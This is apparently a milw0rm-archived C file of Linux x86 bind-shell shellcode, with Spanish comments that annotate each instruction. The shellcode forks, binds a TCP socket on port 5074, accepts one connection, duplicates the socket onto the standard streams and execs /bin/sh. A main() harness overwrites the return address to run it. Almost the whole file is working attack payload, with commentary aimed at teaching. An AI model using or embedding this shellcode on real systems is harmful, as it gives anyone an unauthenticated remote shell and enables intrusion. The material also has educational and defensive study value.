/* * s0t4ipv6@shellcode.com.ar * 0x9abril0x7d2 sys_socketcall (102) (0x66) %eax, esta es nuestra rutina principal. En todas las subrutinas vamos a necesitar a: %eax = 0x66. Luego del archivo include/linux/net.h obtenemos la siguiente lista, echenle un vistazo. Entonces en %ebx vamos a necesitar el valor de la subrutina que estemos. subrutina %ebx -------------------- SYS_SOCKET 0x1 SYS_BIND 0x2 SYS_CONNECT 0x3 SYS_LISTEN 0x4 SYS_ACCEPT 0x5 -------------------- En memoria vamos asi Cada subrutina va a afectar a %ebp de la siguiente forma %ebp --------------------------------------------------------- offset 0x8 0xc 0x10 0x14 0x16 0x18 ========================================================= socket |0x2 |0x1 |0x0 |///////|///////|///////| ------------------------------------------------- bind |0x5(1) |*0x14 |0x10 |0x2 |0xd213 |0x0 | ------------------------------------------------- listen |0x5(1) |0x1 |0x10 |0x2 |0xd213 |0x0 | ------------------------------------------------- accept |0x5(1) |0x0 |NULL |0x2 |0xd213 |0x0 | ------------------------------------------------- *0x14 es la direccion de memoria de %ebp+14 (*1) el valor de %eax cambia despues de cada syscall (*2) Remitirse al archivo adjunto notas-lnx-bind.txt * */ #include char shellcode[]= // Shellcode // AsmCode / Comentarios Referencia kernel // sys_fork (2) "\x31\xc0" // xorl %eax,%eax "\x89\xc3" // movl %eax,%ebx "\xb0\x02" // movb $0x2,%al / sys_fork (2) "\xcd\x80" // int $0x80 "\x38\xc3" // cmpl %ebx,%eax / Pregunto; %eax = 0x0 "\x74\x05" // je 0x5 / Si es verdadero me salto el la funcion exit // sys_exit (1) "\x8d\x43\x01" // leal 0x1(%ebx),%eax / sys_exit (1) "\xcd\x80" // int $0x80 // Subrutina socket // soccer=socket(2,1,0) "\x31\xc0" // xorl %eax,%eax "\x89\x45\x10" // movl %eax,0x10(%ebp) / IPPROTO_IP = 0x0 include/linux/in.h "\x40" // incl %eax / %eax es 0x1 "\x89\xc3" // movl %eax,%ebx / SYS_SOCKET = 0x1 include/linux/net.h "\x89\x45\x0c" // movl %eax,0xc(%ebp) / SOCK_STREAM = 0x1 include/linux/socket.h "\x40" // incl %eax / %eax es 0x2 "\x89\x45\x08" // movl %eax,0x8(%ebp) / AF_INET = 0x2 include/linux/socket.h "\x8d\x4d\x08" // leal 0x8(%ebp),%ecx / Direccion de nuestra construccion a %ecx "\xb0\x66" // movb $0x66,%al / sys_socketcall (102) "\xcd\x80" // int $0x80 "\x89\x45\x08" // movl %eax,0x8(%ebp) / Guardo el valor de %eax en 0x8(%ebp) Ref(*1) // %eax=0x5 %ebx=0x1 %ecx=(%edi+8) %edx=0x3 // Subrutina bind // bind(soccer, (struct sockaddr*)&serv, sizeof(struct sockaddr)) "\x43" // incl %ebx / SYS_BIND = 0x2 include/linux/net.h "\x66\x89\x5d\x14" // movw %bx,0x14(%ebp) / AF_INET = 0x2 include/linux/socket.h "\x66\xc7\x45\x16\x13\xd2" // movw $0xd213,0x16(%ebp) / Numero de puerto 5074ipv6 ;-)) "\x31\xd2" // xorl %edx,%edx "\x89\x55\x18" // movl %edx,0x18(%ebp) / %edx es 0x0 "\x8d\x55\x14" // leal 0x14(%ebp),%edx / Usamos %edx como registro intermedio "\x89\x55\x0c" // movl %edx,0xc(%ebp) / "\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp) / sizeof(struct sockaddr) = 10h = 16 "\xb0\x66" // movb $0x66,%al / 4 bytes = AF_INET "\xcd\x80" // int $0x80 / 4 bytes = Puerto // 8 bytes = 0.0.0.0 // %eax=0x0 %ebx=0x2 %ecx=(%edi+8) %edx=(%edi+14) // Subrutina listen // listen(soccer, 1) "\x40" // incl %eax "\x89\x45\x0c" // movl %eax,0xc(%ebp) / Aceptamos 1 conexion, 2 no tendria sentido "\x43" // incl %ebx / Ref(*2a) "\x43" // incl %ebx / SYS_LISTEN = 0x4 include/linux/net.h "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 // %eax=0x0 %ebx=0x4 %ecx(%edi+8) %edx=(%edi+14) // Subrutina accept // int accept(int s, struct sockaddr *addr, socklen_t *addrlen); "\x43" // incl %ebx / %ebx es 0x5 "\x89\x45\x0c" // movl %eax,0xc(%ebp) / Ponemos 0 en 0xc(%ebp) "\x89\x45\x10" // movl %eax,0x10(%ebp) / Y un NULL en 0x10(%ebp) Ref(*2b) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\xc3" // movl %eax,%ebx / El valor de soccer a %ebx // Ahora vamos a cambiar la syscall a sys_dup2 (63) // dup2(soccer, 0) el valor de soccer ya lo tenemos en ebx 3 lineas arriba "\x31\xc9" // xorl %ecx,%ecx / %ecx es 0x0 "\xb0\x3f" // movb $0x3f,%al / sys_dup2 (63) "\xcd\x80" // int $0x80 / "\x41" // incl %ecx / %ecx es 0x1 "\x80\xf9\x03" // cmpb $0x3,%cl / Pregunto; %ecx = 3 "\x75\xf6" // jne -0xa / si es falso salto al movb // execve // Minishell de Raise "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al / Raise: esta linea la modifique para reducir 1 byte "\xcd\x80"; // int $0x80 void main () { int *ret; ret=(int *)&ret +2; printf("Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm.com [2004-09-12]